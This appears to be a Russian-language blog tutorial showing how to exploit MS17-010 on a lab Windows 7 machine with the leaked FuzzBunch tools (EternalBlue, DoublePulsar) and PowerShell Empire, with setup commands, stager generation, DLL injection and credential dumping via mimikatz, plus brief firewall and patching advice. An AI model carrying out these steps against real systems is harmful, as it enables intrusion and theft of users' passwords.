Pull to refresh

Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE

Reading time 6 min
Views 54K
image
 
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Данная уязвимость устранена с выходом пачта MS17-010: он устраняет шесть проблем Windows SMB Server, пять из которых позволяют выполнить произвольный код через создание специального пакета Server Message Block (SMB) 1.0. В данной статье мы рассмотрим как злоумышленники могут эксплуатировать уязвимость ETERNALBLUE.

Статья носит исследовательский характер. При ее написании использовалась общедоступная информация. Применение описываемых техник или методик, или их частей в противозаконных и противоправных действиях запрещена. Соблюдайте законодательство.

По умолчанию арсенал Kali Linux позволяет проводить множество атак на машины под управлением ОС Windows, но двух современных инструментов в ней не хватает. В данной статье речь пойдет об инструментах Empire и FuzzBunch, которыми стоит дополнить ваш дистрибутив, чтобы существенно расширить возможности для эксплуатации и постэксплуатации Windows систем в сети.

Powershell Empire


Powershell Empire предоставляет модульную платформу для пост-эксплуатации, используя возможности средства автоматизации ОС Windows PowerShell.

Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, т.е. антивирусным ПО и системами предотвращения вторжений из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пейлоадов, скомпилированных в ассемблер и исполняемый файл.

Установка


Скачиваем Empire с github github.com/EmpireProject/Empire
Запускаем скрипт Empire/setup/install.sh для установки зависимостей в систему.
Далее запускаем скрипт для инициализации базы данных Empire/setup/setup_database.py
Установка завершена.

Запуск и базовая настройка


Запускаем фреймворк скриптом ./empire и попадаем в главное меню
 

 
Основные понятия, с которыми нам придется столкнуться это listener, stager и agent.
Listener – локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.

Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер по адресу 192.168.1.3:8080
 

 
Как видим, порт теперь прослушивается:
 

 
Stager – способ доставки Powershell Empire агента на машине жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 – способ доставки Empire агента, а stage1 – сам агент. На самом деле процесс доставки несколько сложнее, о чем можно подробно почитать на официальном сайте.

Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):
 

 
Самый распространенный стейджер – launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.
 

 
Далее можно настроить некоторые параметры для стейджера:
 

 
В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.

Командой generate создается стейджер типа launcher.
 

 
Он представляет собой закодированную powershell команду в base64, которую необходимо выполнить на стороне жертвы.
Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда
launcher [имя_листнера] из меню listeners.

Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.

  • launcher_bat – агент доставляется на машину жертвы при запуске bat-файла.
  • launcher_vbs – агент доставляется на машину жертвы при выполнении vbs-скрипта.
  • macro – будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
  • dll – запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.

Стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. При помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение.

Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:
 

 
На машине атакующего в интерфейсе Empire видим сообщение:
 

 
Это означает, что между машиной атакующего и машиной жертвы теперь установлено соединение и агент готов получать команды.

Для удобства можно переименовать агента:
 

 
Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции:
 

 

Постэксплуатация


После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте powershellempire.com.
 

 
Все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.
Модуль credentials/powerdump для сбора хэшей пользователей.
 

 

 
Запуск mimikatz из меню агента Empire
 

 
Получили пароль в открытом виде от поставщика WDijest
 

 

FuzzBunch


14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17-010. Так же для эксплуатации уязвимостей, обнародованных The Shadow Brokers, уже созданы модули для фреймворка Metasploit.

Установка


Для установки FuzzBunch вам понадобится либо 32-битная Windows машина, либо Kali Linux с установленным окружением Wine. Мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. Загрузим файлы на свою машину Kali Linux с github

git clone github.com/fuzzbunch/fuzzbunch.git

Для работы FuzzBunch Нам потребуется Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.

apt-get instal wine winbind

Создаем и инициализируем новое окружение:

mkdir ~/.wine_fuzzbunch
WINEPREFIX="/root/.wine_fuzzbunch/" winecfg


 
Оставляем все без изменения:
 

 
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:
 

 
Добавляем в PATH требуемые директории
wine regedit.exe
 

 
Устанавливаем fuzzbunch в окружение Wine:

mkdir -p ~/.wine_fuzzbunch/drive_c/nsa/windows
cd ~/.wine/drive_c/nsa/windows
cp -R [ваш_каталог_с_fuzzbunch]/* .
wget https://www.python.org/ftp/python/2.6/python-2.6.msi
wget https://downloads.sourceforge.net/project/pywin32/pywin32/Build%20219/pywin32-219.win32-py2.6.exe?r=&ts=1493192168&use_mirror=netcologne

Устанавливаем Python

wine msiexec /i python-2.6.msi

Устанавливаем pywin32

wine pywin32-219.win32-py2.6.exe

Постинсталляция:

wine cmd.exe
cd C:\Python26\Scripts
python pywin32_postinstall.py -install
cd C:\nsa\windows
mkdir listeningposts

Запуск и эксплуатация MS17-010


Из окружения Wine выполняем следующую команду:
 

 
Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.

Задаем эти параметры при запуске.

Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue.

use Eternalblue

На вопрос о проверке параметров отвечаем утвердительно:
 

 
Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB.
 

 
В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.
 

 

Постэксплуатация в связке с Powershell Empire


Создаем новый листенер:
 

 
В качестве механизма доставки агента используем на этот раз dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.
 

 
Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C окружения Wine.
 

 
Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.

use DoublePulsar

Выбираем 64-битную архитектуру:
 

 
В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.
 

 
Указываем полный путь до DLL:
 

 
C:\launcher.dll
Выполняем модуль:
 

 
В интерфейсе Empire получаем новую сессию и выполняем Mimikatz.
 

 
Получаем логины и пароли пользователей.
 

 

 
В то же время операционная система жертвы не выявляет атаки. В журналах Microsoft Security Essentials пусто, система работает стабильно. Таким образом, наш дистрибутив Kali Linux приобрел два современных инструмента для эксплуатации и постэксплуатации ОС под управлением Windows.

Защитные меры


В качестве средств защиты рекомендуется обновить Windows системы (если вы этого еще по каким-то причинам не сделали), использовать средства обнаружения и блокирования атак — firewall и т.д.

Например это можно сделать с помощью следующих команд:

netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_TCP-135"

netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_TCP-445"
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+28
Comments 2
Comments Comments 2

Articles